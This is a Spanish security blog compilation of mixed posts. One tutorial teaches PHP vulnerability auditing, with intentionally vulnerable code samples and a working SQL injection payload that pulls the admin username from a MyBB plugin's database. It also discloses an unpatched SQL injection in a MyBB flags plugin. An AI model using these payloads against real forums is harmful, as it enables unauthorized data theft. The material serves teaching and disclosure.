Un claro ejemplo de lo que quiero demostrar a todos, lo que son los hackers asi de simple y claro no podia ser Juanjo Ciarlante.



Terminaste de ver, ahora que te parece el uso inadecuado que damos a la tecnología porque en ves de andar distraido viendo los estados no creamos? en resumen Hacking a nosotros mismos.

Tengan buen fin de semana!

Regards,
Snifer
Leer Mas
Esto lo vi en twitter  o no se donde pero lo vi, lo interesante de esta colecciona de libros es la palabra gratis, totalmente accesibles a un click el porque ando por estos lares simple y sencillo necesito aprender ¬_¬°.

Y que mejor comenzando a leer el tiempo pasa y no avanzo!!!.


1.- Search User Interfaces by Marti A. Hearst (2009)

If you want to design innovative search user interfaces, you need this book close at hand at all times.

2.- Web Style Guide by Patrick J. Lynch and Sarah Horton (1999)


A style guide for the interface with real long-run value, showing us deep principles of design rather than simply fashion and technology.

3.- Designing Interfaces – Patterns for Effective Interaction Design by Jenifer Tidwell (2006)

Anyone who’s serious about designing interfaces should have this book on their shelf for reference.

4.- Designing Mobile Interfaces by Steven Hoober and Eric Berkman (2011)

This practical guide teaches you the core principles for designing effective mobile user interfaces, and helps you get started by providing more than 40 proven UI patterns for mobile websites and applications.

5.- Mental Models in Human-Computer Interaction by John M. Carroll and Judith Reitman Olson (1987)

Research Issues About What the User of Software knows.

6.- Just Ask: Integrating Accessibility Throughout Design by Shawn L. Henry (2007)

A focus on accessibility during the entire user-centered design process.

7.- Converting The Believers by Usereffect (2008)

Turn believers into buyers and maximize your website’s ROI. Learn how to use analytics, usability and testing to systematically improve online sales.

8.- Task-Centered User Interface Design by Clayton Lewis and John Rieman (1994)

This report is based on 8 series of usability studies with users in 4 countries reporting how they actually used a broad variety of websites and apps on a range of mobile devices, including touch phones and smartphones from many vendors.

9.- User Centered Design – The Fable of the User-Centered Designer by David Travis (2009)

After reading this 40-page fable, you’ll understand the framework of user-centred design and know how to apply it to your own design project.

10.- 234 Tips and Tricks for Recruiting Users as Participants in Usability Studies by Deborah Hinderer Sova and Jacob Nielsen (2003)

This report tells you how to set up and manage a recruiting program, how to get the right users for specific tests, and how to deal with the users you have recruited.

11.- Introduction to Good Usability by Peterpixel (2008)

A collection of Peter’s posts about design guidelines in PDF format.

12.- UX Storytellers – Connecting the dots by 42 UX masterminds (latest update 2011)

42 UX masterminds tell personal stories of their exciting lives as User Experience professionals.

13.- A Hitchhikers Guide to the Obvious: Web Usability 101 by Squiz (2009)

The design best practices for usability and how they can positively impact your bottom line. The paper also gives concrete guidelines on how to test for usability on a shoestring budget.

14.- Designing the Mobile User Experience by Barbara Ballard (2007)
Gain the knowledge and tools to deliver compelling mobile phone applications.

15.- Human Computer Interaction Lecture Notes by Dr. Keith Andrews (2011)
These lecture notes have evolved since he first started teaching human-computer interaction at Graz University of Technology in 1993 and have benefitted from his teaching courses on user interface design at FH Technikum Kärnten in Villach, web usability and advanced user interfaces at FH Joanneum.

Bonus: Research Based Web Design & Usability Guidelines by Usability.gov
Throughout your Web design or redesign project, you should take advantage of what is already known about best practices for each step of the process. The Research-Based Web Design and Usability Guidelines, compiled through an extensive process of research and review, bring you those best practices.

Fuente: Paulolyslager.com

Regards,
Snifer
Leer Mas
Desarrolladores tenian que ser U_u..... digo teníamos que ser.



Regards,
Snifer
Leer Mas
Si se preguntan donde rayos andaba, aquí la respuesta neee mentira andaba con cosas de la oficina el trabajo, realizando informes buscando herramientas jugando a ser juacker!!!! y por las noches ando en desarrollo de FirefoxOS  y por la madrugada iniciando mi día como Androide :) ya pronto veran porque lo de Android tiempo al tiempo,  quizas algunos vieron lo que andaba diciendo en twitter referente a #MuseBo la cual anda un 10% en desarrollo debido a la revisión de fuentes de confianza que por cierto no hay muchas.

Y bueno a lo que nos vamos hoy después del trabajo estuve renegando debido a que me conecto con el 3g   y mis MB se hiban como el agua! y aparte no necesito ver tanto detalles ¬_¬° solo lo quiero para lanzar un tweet y responder, en este trajin se me vino a la mente la idea de armarme un cliente personalizado y ver que tal van las cosas, y sorpresa el desarrollo no fue tan dificil solo un poco de lectura encontrar la librería adecuada y se diría que ya tenemos una versión Alpha con algunos bugs que ya saltaron a la luz ¬_¬.

Aqui un par de capturas... :) que esta funcionando...


Prueba de primer Tweet desde #TFoX




Prueba de #TFox subiendo imagen...




¿Que se tiene hasta ahora?

- Realizar un Tweet
- Poder adjuntar una foto:
    Camara
    Galeria
- Ver el TimeLine


Falta implementar:

- Responder un tweet.
- Realizar RT!
- Ver los tweets que te realizaron
- MD
- Eliminar un Tweet


Bugs conocidos

- Al realizar un tweet no retorna al TL principal.
- Al realizar un tweet no elimina el comentario realizado.
- Al subir una imagen, la segunda vez no es eliminada se mantiene.
- Para la selección de imagen llama a todo multimedia ¬_¬



Subida de foto :). (Con bug!)


 Ahora lo que toca es pedir ayuda!! :) primero para los Alpha testers de la versión que ira saliendo las mejorar que se vayan implementando por ellos les pediria los que quieran colaborarme un comentario o un tweet y nos contactamos.

Seguno algun diseñador que pueda realizar el logo :) de #TFoX.

Regards,
Snifer
Leer Mas
El tiempo pasa, mientras andas viendo esta entrada levántate y lucha por crecer cada día.




Si viste el video ya sabes a que me refiero, quizas ando algo meláncolico pero la verdad esto llega porque llega mas que todo para crecer como persona, aspirar a mas, no ser mediocre en creer que nada bueno  nos puede pasar, los problemas son el desayuno de cada día comenzar a hacer el cambio en el mundo puede iniciarse con nosotros mismo.

Se que no tiene nada que ver con Informática, Hacking o ramas afines de desarrollo, pero es momento de ver el mundo de una manera diferente luchar por cada uno.

"Aprende cada día, lucha por ser el mejor"


Regards,
Snifer

Leer Mas
 Hace unos dias me hizo mucha gacia encontrarme con la siguiente infografia por Twitter sobre el método científico y pensé en que era extrapolable al sector de la seguridad informática. Por lo que decidí hacer la infografia a mi manera,  espero que os guste xD

Muchos y me incluyo yo,  tendríamos que seguir estos pasos al pié de la letra. Porqué no solo nos enriquecemos nosotros como Invesigadores de la Seguridad Informatica o Developers sino que, hacemos crecer a la comunidad aprendiendo de las mejoras que te proponen o haciendo que puedan aprender de tus investigaciones.

Dicho esto espero que os guste y nos vemos la semana que viene ^^
Leer Mas
firefox_rootEstuve pensando detenidamente, esta semana en crear una sección dedicada al Zorro referente a los tutoriales que vaya encontrando muy aparte de tener el repositorio en GitHub, el listado de los enlaces para rootear, hacer el upgrade y demas cosas en mi flamante y bello Alcaterl One Touch Fire, pensando y pensando dije no sabemos cuando el blog o los enlaces esten caidos por que no armar tipo planetario de todo aquello que me sirvio, para rootear  compilar o demas cositas que vaya viendo hacerlo en SniferL4bs seria sobrecargarlo de contenido repetido en la red asi que el termino correcto seria un Planetario de enlaces y entradas relacionadas al Panda OS e irlo alimentando cada vez que pueda con información referente y todo lo que sea contenido generado por mi persona mantenerlo aquí en SniferL4bs, del mismo modo Imagenes rooms y todo lo relacionado cargarlo allá, algo a tomar en cuenta es que firefoxOS.sniferl4bs.com no recibira muchas actualizaciones en la semana supongo y espero que sera una a lo mucho y segun lo vea necesario, y si entran al nuevo blog notaran que la plantilla actual es bastante minimalista :) simplicidad y elegancia.

Espero que sigan este pequeño aporte que quiero hacer al mundo del Panda ;), por ahora andamos con una entrada  estaremos actualizando de a poquito....

Regards,
Snifer
Leer Mas
Esta ocación venimos con una entrada relacionada a la detección de 0 day, espero les agrade esta entrada viene de borrador desde el año pasado :P.

1.- CREACIÓN DE UN ENTORNO DE AUDITORIA:
¿Por qué utilizar un entorno de Auditoria?

Simplemente se puede descargar el código que deseemos auditar, seguidamente se puede analizar el código utilizando un editor de texto en busca de vulnerabilidades.
Esto no es preferible, ya que hay una posibilidad muy alta de que falten cosas y seguramente tomará mucho más tiempo que mediante el uso de un entorno de Auditoria.

Web Server:

Queremos crear un servidor web donde podremos subir y probar las aplicaciones PHP, en estos casos se puede utilizar XAMPP o cualquier otro sistema que permita analizar estas aplicaciones localmente.
Es muy recomendable probar y analizar el posible código vulnerable en este servidor web (XAMPP) o en una red de confianza.

¿Que es lo que vamos a Auditar?

Ahora, cuando tenemos nuestro servidor creado tenemos que instalar cosas adicionales como WordPress, Joomla, MyBB o similares, dependiendo de lo realmente queremos auditar.

Si en estos casos vamos por un CMS independiente o simplemente una aplicación PHP que no, por supuesto, necesitamos algunos de los anteriores, pero es probable que en algún momento del tiempo pase a un blog de WordPress o un foro MyBB.
Seguidamente se mostraran los enlaces de descarga y alguna información sobre la forma de instalar algun CMS en particular:
MyBB
Guía de Instalaciónhttp://docs.mybb.com/Installing.html
WordPress
Joomla
SMF:

2.- LO QUE DEBEMOS BUSCAR:

User input:

La mayoría de vulnerabilidades son posibles porque el programador del archivo php olvida la validacion de entrada. Esto ocurre mayormente con las vulnerabilidades de SQL Injection, Cross-Site Scripting, File Inclusion, Server Side Include, Code Injection, File Upload y muchos mas.
---------------------------------------------------------------------------------------------
$_GET
Un array asociativo de variables pasadas al script actual a través de los parámetros de URL.

$_POST

Un array asociativo de variables pasadas al script actual mediante el método HTTP POST

$_REQUEST
Una matriz asociativa que contiene por defecto el contenido de $ _GET, $ _POST y $ _COOKIE.

$_COOKIE

Un array asociativo de variables pasadas al script actual a través de cookies HTTP.

$_SERVER

$ _SERVER - $ HTTP_SERVER_VARS [obsoleta] - Información del servidor y entorno de ejecución.

$_FILES

Una matriz asociativa de artículos subidos al script actual a través del
método HTTP POST.
---------------------------------------------------------------------------------------------
Posibles Funciones Vulnerables:
Sql Injection:

Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------
$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------


Existen un montón de posibilidades que las funciones de mysql sean vulnerables, para ello podemos echar un vistazo al siguiente link para obtener mas información sobre las funciones de MySql.

He aquí algunas funciones comunes que posiblemente sean vulnerables:
  • mysql_db_query - Selecciona una base de datos y ejecuta una consulta sobre el mismo.
  • mysql_fetch_array - Extrae la fila de resultado como una matriz asociativa, una matriz numérica o ambas.
  • mysql_fetch_field - Obtener información de columna del resultado y regresar como un objeto.
  • mysql_fetch_row - Devuelve una fila de resultado como una matriz enumerada.
  • mysql_num_rows - Devuelve el número de filas en el resultado.
  • mysql_result - Obtener datos de resultado.
File Inclusion:
Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------
<?php

$file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
---------------------------------------------------------------------------------------------

  • include()
  • require()

Si la aplicación no restringe cómo incluir archivos que puede leer archivos locales y posiblemente ejecutar archivos desde un servidor remoto (si allow_url_fopen está habilitado).
Upload:
---------------------------------------------------------------------------------------------
<?php
$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
} else {
echo "There was an error uploading the file, please try again!";
}
?>
---------------------------------------------------------------------------------------------

  • $_FILES
Si la aplicación no restringe como se cargan los archivos, en estos casos se puede cargar y ejecutar cualquier tipo de archivos.
Code Execution:
---------------------------------------------------------------------------------------------
<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
---------------------------------------------------------------------------------------------

  • passthru()
  • system()
  • eval()
  • exec()


3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS:

Editores de Texto:

Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como "Proyectos" (muy útil) y una función de búsqueda muy agradable.

Grep:

Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.

Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:

---------------------------------------------------------------------------------------------
<?php
$header = $_GET['header'];
if(isset($header))
{
include("headers/$header");
}
else
{
include("headers/standard.php");
}

$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
?>
---------------------------------------------------------------------------------------------

Podríamos usar una línea de comandos:
---------------------------------------------------------------------------------------------
$ grep _GET app.php
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
$header = $_GET['header'];
$id = $_GET['id'];
---------------------------------------------------------------------------------------------

Encontrar funciones mysql_*:
---------------------------------------------------------------------------------------------
grep include app.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
include("headers/$header");
include("headers/standard.php");
---------------------------------------------------------------------------------------------
Ahora digamos que tenemos 3 aplicaciones PHP en una carpeta y queremos buscar la función include en todas ellas, entonces podríamos hacer algo como esto:
---------------------------------------------------------------------------------------------
grep include *.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php: include("headers/$header");
app2.php: include("headers/standard.php");
app3.php: include("headers/$header");
app3.php: include("headers/standard.php");
app.php: include("headers/$header");
app.php: include("headers/standard.php");
---------------------------------------------------------------------------------------------
Si queremos dar salida al número de línea, puede utilizar el argumento -n de esta manera:
---------------------------------------------------------------------------------------------
grep include *.php -n
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php:5: include("headers/$header");
app2.php:9: include("headers/standard.php");
app3.php:5: include("headers/$header");
app3.php:9: include("headers/standard.php");
app.php:5: include("headers/$header");
app.php:9: include("headers/standard.php");
---------------------------------------------------------------------------------------------

Ahora queremos comprobar si las palabras 'SELECT' y 'FROM' se pueden encontrar:
---------------------------------------------------------------------------------------------
grep 'SELECT\|FROM' app.php -n
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------


Si queremos que coincida con una cadena e ignorar mayúsculas y minúsculas se utiliza el argumento -i:
---------------------------------------------------------------------------------------------
grep 'sEleCt\|FroM' app.php -n -i
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------

Algunas otras herramientas para auditar archivos php: http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/

4.- AUDITORIA EN EL MUNDO REAL:

Vamos a echar un vistazo a un ejemplo del mundo real, un exploit público, y ver si podemos encontrar las vulnerabilidades:
MyBB DyMy User Agent SQL Injection:
Vamos a descargar la aplicación vulnerable y colocarlo en nuestra carpeta de plugins. Lo primero que debemos hacer es abrirlo en el Editor de texto:
Ahora vamos a empezar con un poco de búsqueda básica para posibles funciones vulnerables y cosas similares:
---------------------------------------------------------------------------------------------
grep "\$_GET" dymy_ua.php -i -n
grep "\$_GET" dymy_ua.php -i -n
grep "mysql_" dymy_ua.php -i -n
grep "include" dymy_ua.php -i -n
---------------------------------------------------------------------------------------------
Salida:
Nada util.
¿Por qué no encontrar nada? ¿Estamos haciendo algo mal? La respuesta está en el código fuente, vamos a echar un vistazo:
---------------------------------------------------------------------------------------------
function dymy_ua_install()
{
global $db;

$db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
}
---------------------------------------------------------------------------------------------
Si alguna vez has visto el codigo fuente de los plug-in de MyBB, echa un vistazo a los siguientes documentos para obtener una mejor comprensión de lo que está mal aquí:
Así que cuando estemos auditando Plugins MyBB tenemos que cambiar nuestros métodos de auditoría un poco.
Vamos a buscar $db, ya que se utiliza en Plugins MyBB para las interacciones de bases de datos. Volvamos a la terminal y probar algunas cosas nuevas.
---------------------------------------------------------------------------------------------
grep "\$db" dymy_ua.php -i -n 
---------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------
56: global $db;
58: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
63: global $db;
65: if($db->field_exists("useragent", "posts"))
75: global $db;
77: $db->delete_query("templategroups", "title='DyMy User Agent Templates'");
78: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts DROP `useragent`");
83: global $db;
85: $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");
86: $c = $db->fetch_field($q, "count");
87: $db->free_result($q);
95: $db->insert_query("templategroups", $ins);
101: "template" => $db->escape_string(' <img src="images/useragent/os/{$os}.png" alt="{$os}" title="{$os_name}">'),
106: $db->insert_query("templates", $ins);
111: "template" => $db->escape_string(' <img src="images/useragent/browser/{$browser}.png" alt="{$browser}" title="{$browser_name}">'),
116: $db->insert_query("templates", $ins);
125: global $db;
127: $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");
------------------------------------------------------------------------------------------------------------------
Como esto no es mucho lo que podemos manipular, vamos a ir a 127 líneas y ver qué pasa:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_deactivate()
{
global $db;

$db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'"); // Line 27

require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
find_replace_templatesets('postbit',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}')."#",'',0);
find_replace_templatesets('postbit_classic',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}</td>')."#",'</td>',0);
}

function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}

function dymy_ua_postbit(&$post)
{
global $templates;

if(isset($post['browser']) && isset($post['system']) && !empty($post['browser']) && !empty($post['system']) && empty($post['useragent']))
{
$os = str_ireplace("icon_", "", $post['system']);
$browser = str_ireplace("icon_", "", $post['browser']);
$browser = preg_replace("#^linux([a-z])#si", "$1", $browser);
}
...
------------------------------------------------------------------------------------------------------------------
En este nos damos cuenta de algo muy bonito, eche un vistazo a esto:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}
------------------------------------------------------------------------------------------------------------------
Vemos aquí que la aplicación inserta el user_agent sin ningún tipo de desinfección. Vamos a encender nuestro foro MyBB en nuestro localhost y tratar de analizar estos datos.
Activar el plugin en tu panel de administración y luego ir a un hilo y despues usar el Live HTTP Headers.
Vamos a ver este lado de nuestro mensaje:
Así que ahora, vamos a tratar algunas pruebas básicas para ver si la vulnerabilidad de inyección SQL en realidad existe:
Ah, maravilloso! Ahora vamos a jugar un rato con él hasta que tengamos una consulta agradable para la inyección.
Después de algunas pruebas vamos a salir con esta consulta:
------------------------------------------------------------------------------------------------------------------
' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)B)); #
------------------------------------------------------------------------------------------------------------------
5.- NUEVO 0-DAY - MyFlags MyBB plugins SQL Injection:
La vulnerabilidad de inyección SQL que existe en MyBB Plugin HM_My Country Flags:
Cuando este plugins se activa un usuario puede ir a su panel de control y ver esto:
Cada vez que el usuario vea su nacionalidad se mostrará junto a sus mensajes:
Abrimos Live HTTP Headers y pulsamos en el Pais, en las cabeceras HTTP Live copie la direccion URL (localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5') y pega esto en una nueva pestaña.
Ahora ponga un ' después el país:
Salida:
------------------------------------------------------------------------------------------------------------------
MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Belgium''' at line 1
Query:
SELECT * FROM mybb_users u LEFT JOIN mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON (u.uid=f.ufid) WHERE fid5='Belgium'' 
------------------------------------------------------------------------------------------------------------------
Ajustar un poco y podrás averiguar que es unión basada con un montón de columnas:

Espero que haya disfrutado de este tutorial y pueda ayudarte a encontrar vulnerabilidades 0-days en aplicaciones webs.

Tutorial PHP:
Tutorial MySQL:

CRÉDITOS:
Autor: Join7
Leer Mas
Bueno señores ando vago de vagal level Pro! pero eso no quiere decir que igual en mi dia a dia, mas todo lo contrario ando a mil con el trabajo y algunos proyectos que vienen de viento en popa, pero eso no querie decir que no pueda realizar las entradas en el blog aunque creo que ayer no lo hize sin mas vueltas ni idas ahora venimos con un poco de Forense el cual es Android AntiForensic Modifying CyanogenMod en este momento ando a mal que por bien, asi que me retiro a dormir y descansar un poco.

Regards,
Snifer
Leer Mas

Charlas de @ralsina donde nos transporta a un mundo diferente ya veran a que me refiero!.

Python 2 debe Morir, 
WTF!!! si que muera, a gritos grita la gente....



Bueno señores se que me vengo con cada locura en el blog pero últimamente andamos mas yéndonos al area de desarrollo y que mejor que aprender mas sobre mi lenguaje favorito en realidad conocer mas a fondo, cada vez que ande viendo algun video que me llame la atención lo ire publicando bajo la sección Fideos de Python, primero venimos con una charla titulada Python 2 debe Morir  el cual nos brinda una perspectiva del desarrollo, aunque el video data del 2012   y la razón de postearlo es la siguiente... 

Actualmente cuantos desarrollamos bajo python 3.x?

 xD Seguimos en Python 2.x.

Pueden verla desde el blog o ir directo al video en youtube.


Algo que me agrado y bastante de la charla es lo siguiente que Roberto Alsina dijo:

No existe ningun proyecto desde 0, siempre comienza con un 90% ya realizado... porque en Python hacemos usos de librerias, dichas librerías se encuentra en python 2 es por ello que no migramos aun a python 3.

A esto me pregunto quien se anima a realizar,  una aplicación sin dependencias?

Cosas que nos hace pensar, y tener en cuenta si nuestro código es desde 0 cuando implementamos algo :).

El segundo fideo de Python - Haciendo trampa para Programar Menos





Programar es diviertido.
Programar es hacer magia.

Que mejor descripción grafica a esta presentación que el señor @State_X con sus viñetas las cuales puedes ver cada una de ellas en el siguiente enlace La invasion de StateX



Aparte a apartir de ahora cuando de alguna charla tendre lo siguiente grande @ralsina tienes nuevo seguidor :).

* Si hablo muy rápido, chiflen
* Si tienen una duda, pregunten **no me molesta ni un poquito**
* Si tienen un mate, conviden
* Si tienen bizcochitos, quiero pero estoy a dieta

PD: Si ando loco! con los nombres no  molesten ;) xD.

Regards,
Snifer
Leer Mas
Esto lo vi el dia de ayer un tweett de la comunidad Xora.org y bueno dije porque no llevarlo al blog para iniciar la semana con los 10 mandamientos linuxeros de parte de TuxAbad!!.



Tengan un buen inicio de semana que el mio ya comenzo desde tempranas horas!

Regards,

Snifer
Leer Mas
Esta entrada la ando escribiendo en caliente, como se decirlo hormonalmente, la razón llega a ser  quizas algo tonta o boba, acabo de tener una discusión con un familiar mio,  indicando que el titulo de Ingeniero se me subio a la cabeza?, la razon de ello porque no ando en un grupo de whatsapee donde andan contando chistes  y demas trajes es mucho ring ring ring, y como ando a full con otras cosas, lecturas y aprendizaje continuo todo viendo a futuro, tenia mil blasfemias por decirlo por decir en esta entrada y desahogarme, pero momento borre y reforme lo que andaba escribiendo para canalizarlo a lo siguiente, lo que postee en mi muro de Facebook por la mañana:

Ladran porque estamos avanzando....

"No todo el mundo recibe con aceptación nuestro progreso. hay gente a la que le molesta, por eso "ladra", no habla, critica.

Avanza a paso firme, con el objetivo que tienes, los que tenemos".

Esto va no solo para el, si no en general para cada persona que anda en ello, criticando y viendo lo que uno hace o deja de hacer.

Así que ya saben si alguien comienza a "ladran" criticar lo que hacen es porque van avanzando.!

Regards,
Snifer
Leer Mas

Como es de su conocimiento, esta semana comenze a meterme un poco con el desarrollo bajo FirefoxOS y en el proceso de investigación y revisión continua llegue al repositorio en GitHub de Damn Vulnerable FirefoxOS Application desde ahora DvFa la cual me llamo la atención debido a que con este proyecto quieren concientizar en el desarrollo de aplicaciones para esta plataforma teniendo en cuenta las siguiente vulnerabilidades de Owasp como saben la inseguridad anda en todo lado, por ello nos presentan esta aplicación para que podamos ver  y entender que al ser solo app web, no se sale del estandar mi app es segura.

Vulnerabilidades


Ando algo flojo para traducir, por ello venimos con lo que trae el README del repositorio.


HTML/JS Injection:
  In this vulnerability, we demonstrate how the misuse of innerHTML can lead to
  XSS attacks [1].

  textContent should be used instead of innerHTML whenever possible.
 
  Not heavily discussed are other means mitigating XSS attacks (HTML entity
  encoding, etc.) but OWASP has a good 'cheatsheet' that can be found at [2].

*******************************************************************************
Web Activities:
  MDN has a great page on WebActivities that can be found at [3].

  Vulnerability 1:
    When handling a WebActivity, we must ensure to verify the type of activity
    in order to not be handed malicious data from any WebActivity. Specifically,
    we should verify activityRequest.source.name is equal to the WebActivity
    name we expect.

    In this example, we see an unauthorized WebActivity was launched and
    would've been able to perform a specific action that should be limited to a
    specific WebActivity. For this case:

    if(activityRequest.name === "dvfa") { .... }

  Vulnerability 2:
    We have no control of what application will handle our WebActivity when we
    launch it. Therfore, we should be careful in the information we provide.

    In this example, we leak a user secret by sending it as part of the
    WebActivity data.

*******************************************************************************
Extraneous Permissions:
  In this example, we see how the extraneous 'contacts' permissions allows the
  application to retrieve, add, and delete contacts unecessarily.

  Applications should follow the "principle of least permission" [4].

*******************************************************************************
postMessage
  MDN has a great page on the security implications of postMessage at [5].

  In this example, we see a message handler that does no extra checking on
  source or origin of postMessages it receives. Therefore any JS within the same
  Window can send messages that will be processed.

  To further exacerbate the issue, we have another example of innerHTML being
  misused. This makes this example very bad, because an attacker's JS from a
  different origin can initiate an XSS in our application's origin.

  To mitigate this issue, the developer should check origin/source of
  postMessages it wishes to handle. Furthermore, the developer should not be
  using innerHTML like this (see our discussion on HTML injection).

*******************************************************************************
Insecure Communication via HTTP
  TBD - right now thinking of an example of a simple GET/POST over HTTP that
  leaks something, but some problems with demonstrating this. Particularly, how
  do we proxy request?

*******************************************************************************
DoS
  TBD - seems kinda lame.

References:
[1]https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
[2]https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
[3]https://developer.mozilla.org/en-US/docs/WebAPI/Web_Activities
[4]https://developer.mozilla.org/en-US/Firefox_OS/Security/Security_model#Principle_of_Least_Permissions
[5] https://developer.mozilla.org/en-US/docs/Web/API/Window.postMessage#Security_concerns

Ya para contar con todo ello le hice un fork al repositorio el cual puede acceder aquí recuerden hacer uso del simulador y no en el móvil ;).

Regards,
Snifer
Leer Mas

Quien no recuerda al amigo, azulito al ver este juego vino a mi mente cuando andaba jugando en mi Polistation xD mi intento de play, aun recuerdo que crei que eso era un play por mucho tiempo, hasta que dije momento me engañaron, asi que ahora podremos jugarlo en la pc, Mega Man pero el plus que trae es que fue realizado en Ruby.

http://megamanruby.com/images/screen.png

Jump with up button and shoot with control
You can create your game level:
  • Push E
  • Select the enemies and elements to drag and drop into the scene
  • Push E again to start the game
  • Your map is saved!
Ahora si señores a descargar y perder el tiempo, bueno recordar viejos tiempos en Megamanruby.com

Y para despedirnos, el Original :) Mega Man.


Esta entrada la agradará a una señorita que le encanta Ruby :)
Regards,
Snifer
Leer Mas
Buenas a todos como se dijo en una entrada anterior, comenzaremos a conocer mas a fondo el Sistema Operativo FirefoxOS por medio del desarrollo de aplicaciones, los escritos a ser realizados seran resúmenes de la documentación oficial, tomando en cuenta mi buen entender (panadero alabando su pan) ya saben si necesitan mas información manejaremos la fuente oficial que es developer.mozilla


¿Que es FirefoxOS?

Como vimos en la primera entrada, Firefox OS es una nueva plataforma móvil desarrollada por Mozilla y sus socios que iremos viendo poco a poco quienes son, la cual fue lanzada a finales del año pasado.

La característica principal de un smartphone con FirefoxOS  que mas resalta es el bajo precio, un ejemplo de ello tenemos el Alcatel One Touch Fire el cual tengo, tuve la suerte de adquirirlo el pasado fin de semana, tras un trágico accidente con mi SGY-s5360L que tras 3 bellos años murió, dejo de tener las funcionalidades por la cual es un celular xD. Aun servira para las pruebas en TkBreak, como dijo State_X dono sus organos a la ciencia.

Ya podran ver el precio, como tambien del nuevo ZTE OPEN C 100$ para la compra, ojo! no me vengan a comparar con un Iphone o un Galaxy ¬_¬° esta es la alternativa a lo costos y a las conspiraciones.

Firefox Os se diferencia de Android e Iphone por el lenguaje de desarrollo el cual es "HTML5" si como lo leen, haciendo uso de los estandares Web.

Ya en el proceso de aprendizaje de desarrollo por mi parte y lo que ire compartiendo iremos viendo algo de Phonegap, BackBone, Angular.js y demas frameworks para la implementación de aplicaciones para FirefoxOS.

Acceso  al Hardware

El acceso al Hardware, es realizado por medio del uso de WebAPI las cuales se encuentran disponibles de manera gratuita, esto de las apis lo veremos mas adelante conforme se vaya realizando aplicaciones mas complejas, algo que destacar y me llama bastante la atención es el trabajo que anda realizando Mozilla, al de poder colaborar y trabajar de forma directa con W3C para la implementación de estándares en navegadores y el uso de APIS.


Gratuito para el Desarrollo y la Distribución



El desarrollo de Firefox OS es totalmente abierto, y gratuito lo cual se puede seguir en su repositorio Mozilla B2G en GITHUB, eso quiere decir que nosotros podemos generar nuestras propias ROM cocinadas así como se realiza en Android, lo mismo en el mundo del Panda.

El nombre código para el proyecto Firefox OS. Probablemente también veas este término usado para referirse a Firefox OS, ya que dicho nombre fue usado por largo tiempo antes que el projecto tuviese un nombre oficial
Gaia


Ahora la distribución de las aplicaciones, es realizado en el Market Place el cual es algo parecido al Play Store o App Store en el cual podemos dar una aplicación de manera gratuita o de paga :) la lógica del negocio  veremos en una próxima entrada ya cuando nos toque subir nuestra aplicación al Market Place.


Arquitectura de Firefox OS


